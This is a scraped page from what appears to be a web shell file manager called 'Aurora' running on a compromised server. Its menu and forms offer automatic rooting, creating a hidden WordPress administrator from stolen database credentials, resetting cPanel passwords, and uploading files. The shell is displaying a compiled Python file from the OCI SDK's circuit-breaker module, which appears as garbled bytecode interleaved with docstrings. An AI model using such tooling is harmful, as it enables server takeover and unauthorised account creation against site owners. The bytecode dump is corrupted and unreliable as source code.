Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
circuit_breaker
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: circuit_breaker.cpython-39.opt-1.pyc
a ���f� � @ sV d dl Z d dlmZ e �e�Zdgg g g g g d�ZG dd� de�ZG dd� de�Z dS ) � N)�TransientServiceErrorZIncorrectState)i� i� i� i� i� i� c @ s e Zd ZdZdd� Zdd� ZdS )�CircuitBreakerStrategya� A class which can build a circuit breaker strategy based on provided criteria. This builder is intended as a convenience, but callers are also able to bypass this and construct circuit breaker strategies directly. :param int failure_threshold: (optional) The failure_threshold parameter specifies the number of subsequent failures that causes to circuit breaker to move from CLOSED to OPEN state. This parameter takes an integer value with 10 being the default value. :param int recovery_timeout: (optional) The recovery timeout is the time in seconds that the circuit breaker waits till it moves from an OPEN to HALF-OPEN state. This parameter takes in an integer with 30 seconds being the default value. :param dict failure_statuses_and_codes: (optional) This parameter takes in a dict object of type (int, list(str)) which consist of the status code and the list of error codes the circuit breaker takes in account for failure threshold. If the list of error code is an empty list the circuit breaker would mark all errors as failure which has that specific status code regardless of the error code. defaults to: { 409: ['IncorrectState'], 429: [], 500: [], 502: [], 503: [], 504: [] } :param str name: (optional) The name of Circuit Breaker. Each circuit breaker instance is by internally made unique to a client. This makes sure that a circuit breaker of one client does not interfere with the operations of the other clients, even if they belong to the same service. In a rare case, when it is intended to share the same Circuit Breaker across multiple clients, a CircuitBreakerStrategy object can be made with the name value set as desired and passed to the clients meant to share the circuit breaker. In this scenario failures from any client add to the failure threshold of the circuit breaker shared by all clients. c K sB |� dd�| _|� dd�| _t| _|� dt�| _|� dd�| _dS )z` Creates a new builder and initializes it based on any provided parameters. �failure_threshold� �recovery_timeout� �failure_statuses_and_codes�nameN)�getr r r Zexpected_exception�2DEFAULT_CIRCUIT_BREAKER_FAILURE_STATUSES_AND_CODESr r )�self�kwargs� r �G/usr/lib/python3.9/site-packages/oci/circuit_breaker/circuit_breaker.py�__init__= s �zCircuitBreakerStrategy.__init__c C sN t �d�||�� || jv r6| j| }|s.dS ||v S t �d�|| j�� dS )Nz/Is transient error status code:{} error code:{}Tz3status code:{} not in failure_statuses_and_codes:{}F)�logger�debug�formatr )r Zstatus_codeZservice_codeZ error_coder r r �is_transient_errorH s �z)CircuitBreakerStrategy.is_transient_errorN)�__name__� __module__�__qualname__�__doc__r r r r r r r s 'r c @ s e Zd ZdZdd� ZdS )�NoCircuitBreakerStrategyzh A class which represents that no circuit breaker strategy is to be used for the Client. c C s d S )Nr )r r r r r Y s z!NoCircuitBreakerStrategy.__init__N)r r r r r r r r r r T s r ) ZloggingZoci.exceptionsr Z getLoggerr r r �objectr r r r r r �<module> s � ?